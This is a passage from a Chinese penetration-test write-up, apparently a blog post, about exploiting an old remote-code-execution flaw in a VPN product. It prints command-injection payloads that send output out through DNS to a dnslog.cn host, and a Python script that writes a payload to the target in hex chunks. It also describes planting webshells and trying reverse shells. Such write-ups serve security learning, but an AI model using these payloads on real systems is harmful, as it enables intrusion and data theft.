【重磅!】一次平平无奇的渗透测试

接了个项目,给了资产列表,刚开始就只挖了几个小洞,正当自暴自弃、随缘挖洞的时候,点开了一个网站,眼角的余光瞥见被跳转的页面,这惊鸿一瞥,使我顿时来了精神,赶紧 drop 掉跳转页面,一窥真容。
嘿!这不是 xxx VPN 嘛,搁这遇见了,之前都没搞过呢,赶紧试一试旧版的 RCE 漏洞。
嘿嘿!没想到竟然是旧版的,起飞。
带外数据
激动地敲下了反弹 shell 的命令,等了许久,竟不见一个 shell 回来,眉头一皱,发现事情并没有那么简单。
换了个服务器,还是没有收到 shell,不死心,试了试监听 53、80、443 端口等回连,还是没有收到 T^T 看来 TCP/HTTP 被阻断了。
罢了罢了,前面不是还有 DNS 出来么,用 DNS 一样,先看看 whoami 的结果:
-h|curl `whoami`.Smuxdz.dnslog.cn奇怪的事情发生了,执行 whoami 没有结果。
执行 id:
-h|curl `id -un`.Smuxdz.dnslog.cnnobody 权限,权限很小,先解决命令回显的问题,数据外带太麻烦了。
由于目标环境是存在 php 的,所以打算写个一句话木马,先查看下当前所在的目录:
-h|curl `pwd|od -A n -t x1|sed 's/ //g'`.Smuxdz.dnslog.cn当前在根目录 / 找不到 Web 路径,webshell 不知道写到哪里,这个先搁置一边,先去尝试写入 dns 马:
import requestsimport binasciiwith open('123','rb') as f: data = f.read()size = len(data)S = 2000for i in range((size // S) + 1): if (i+1)*S > size: d = data[i*S:] else: d = data[i*S:(i+1)*S] d = binascii.b2a_hex(d) d = d.decode("utf-8", "ignore") cmd = f"echo '{d}' | xxd -r -p >>/tmp/1" r = requests.get("http:///website/path?url=" + cmd)脚本那么一跑,网站直接 500,震惊!换了几个 ip 试了试,一样的情况还是 500,好像触发了什么防御机制。
溜了溜了,看其他的站去。
第二天,打开网站,恢复正常了,松了口气,又可以愉快地渗透了。
既然这 dns 马写不进去,虽然不知道为啥写不进去,索性不管了,不然等下又给我来个 500 浪费时间,那就老老实实去找 Web 路径吧。
这就又引出另一个问题,域名有字符的限制,且存在长度限制,每一级域名长度最长可为 63 个字节。
字符的限制简单,脑海里第一反应就是 base64 或者 hex,base64 可能会存在其他的字符 + / =,需要给这三个字符做个标记作为区别,有点麻烦,暂时没有什么很好的想法,想了想,其实可以用 base32,这样就只有 = 一个要标记的字符了,试了试,目标服务器没有 base32,只能放弃。
所以还是用 hex 好了,虽然长了一点。
长度限制呢,当时想到 curl 是可以跟数组的,每个都会进行请求,所以构造个数组就好了。
经过测试发现 urls 以空格或者换行分开也是可以的。
这样就简单了,od 命令可以设置输出每行显示的字节数,缺省为 32 字节。